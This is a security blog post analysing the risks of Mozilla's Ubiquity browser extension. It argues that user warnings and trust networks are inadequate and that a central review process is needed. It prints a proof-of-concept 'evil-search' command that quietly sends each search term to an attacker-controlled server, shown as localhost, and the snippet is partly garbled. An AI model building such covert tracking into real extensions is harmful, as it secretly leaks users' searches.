By: Michael Sutton

Ubiquity Foreshadows Future Browser Security Challenges


When I can, I like to investigate emerging open source projects, both to satisfy my curiosity and to gain insight into security challenges to come. I recently stumbled across one such project from Mozilla Labs, known as Ubiquity. The project is described as "an experiment into connecting the Web with language". In a nutshell, it is an Firefox extension which extends browser functionality via natural language queries. When a user invokes Ubiquity via a keyboard shortcut, a text box is displayed where the user can input simple queries and the requests/responses can interact directly with the browser. Let's look at an example:

Access Ubiquity - On my Mac, by default this can be done via Alt-Space

Enter a command - I type "map 1600 Pennsylvania Avenue, Washington DC" as seen in the image to the left. Note that in addition to retrieving a map, in the lower right hand corner of the image there is an 'Insert map in page' link. Clicking on this will automagically embed an the map into an editable section of the page that you're on. This is handy, for example, for embedding maps into webmail messages.

Big deal. Google Maps has been around for years. Why should I care that a plugin has been built to make it easier to look up maps?

Why Ubiquity Changes the Security Landscape

Extensibility - Anyone can develop Ubiquity commands and it's easy to do so. Once a new command has been created, you can deploy it simply by linking to the code on a web page. The Ubiquity extension will recognize the code and prompt users to add the new command. As the Ubiquity user base grows, this certainly streamlines social engineering attacks. While such extensibility is similar to what can be done today with browser extensions, Ubiquity commands can be developed much more quickly and are just as powerful.

Interaction - The Ubiquity query window isn't just a new browser window. Commands have the ability to directly interact with your browser. For example, the built in email command, interacts with your Gmail account (assuming you're authenticated) and allows you to query email addresses from your contacts. This is certainly handy and allows for great interactive Ubiquity commands to be built, but could certainly be abused. How about a rogue Ubiquity command which unknowingly forwards your contact list to a spam bot?

Remote Updates - The authors of new commands can make changes on the fly and the next time the command is called, Ubiquity will use the updated logic. End users do have the ability to accept automatic updates when they first subscribe, but assuming they do, this provides a great Trojan Horse for a less than honest author. They could publish a useful command, wait until it's widely deployed and then change the logic. Take for example the evil-search function which I've published, the code for which is below:

name: "evil-search",
description: "Searches Yahoo! (...and let's me know what you search for...)",
help: "Try issuing "evil aglet"",
icon: "",
takes: {"word": noun_arb_text},
execute: function( directObj ) {
var word = directObj.text;
Utils.openUrlInBrowser( "" + escape(word) );
Utils.ajaxGet( "http://localhost/search?p=" + escape(word) );
preview: function( pblock, directObj ) {
var word = directObj.text;
if (word.length < innerhtml = "Searches Yahoo! for the provided search term (...and let's me know what you search for...).">

This simple Ubiquity command integrates Yahoo! search functionality. When used, the user will be redirected to a web page displaying results for their query. However, behind the scenes, a second AJAX query is made to an attacker controlled server (left as localhost for illustrative purposes). To see this in action, subscribe to the command, run an evil-search query and check the log files on your local server. A command such as this could be used to keep tabs on searches queried by other users. This is a very simple example. With the power offered by Ubiquity, the sky's the limit.


To be fair, this is a beta project and the team fully admits that security issues will need to be addressed. That said, at present they appear to be pursuing two paths to address the security implications.

End User Warnings - When subscribing to a new Ubiquity command, the user is presented with a big, bold warning letting them know (literally) that evil commands could do anything that they want, including steal credit card information. Warnings such as this are in my opinion, useless (I'm talkin' to you Vista). Relying on end users to determine is something is safe doesn't work as most users don't have the skills to make that determination.


Social Trust Network - The current Ubiquity warning message indicates a plan to create a Social Trust Network, whereby users will rely others to determine if a command is safe. This doesn't fix the problem, it just spreads it out. The approach still relies on users to determine if a feature is safe and given the remote update capabilities of Ubiquity commands, just because a million people agree that a command is safe today, it could be evil tomorrow. If anything, such a network could provide a false sense of security.

In my opinion, the only viable way to secure such a system is to inject a review process. Yes, this reduces the openness of the project and yes this isn't foolproof but people with security expertise and knowledge of Ubiquity need to be involved and that puts the burden squarely on the shoulders of Mozilla. I liken it to malicious Google gadgets, which Google claims to test for vulnerabilities. In a world of mashup technologies, where functionality, not just content, can be created by anyone, a central authority must take responsibility for protecting end users.

Ubiquity is a great project and I hope that it succeeds. I just hope that better security is implemented before this project goes prime time.

- michael



Learn more about Zscaler.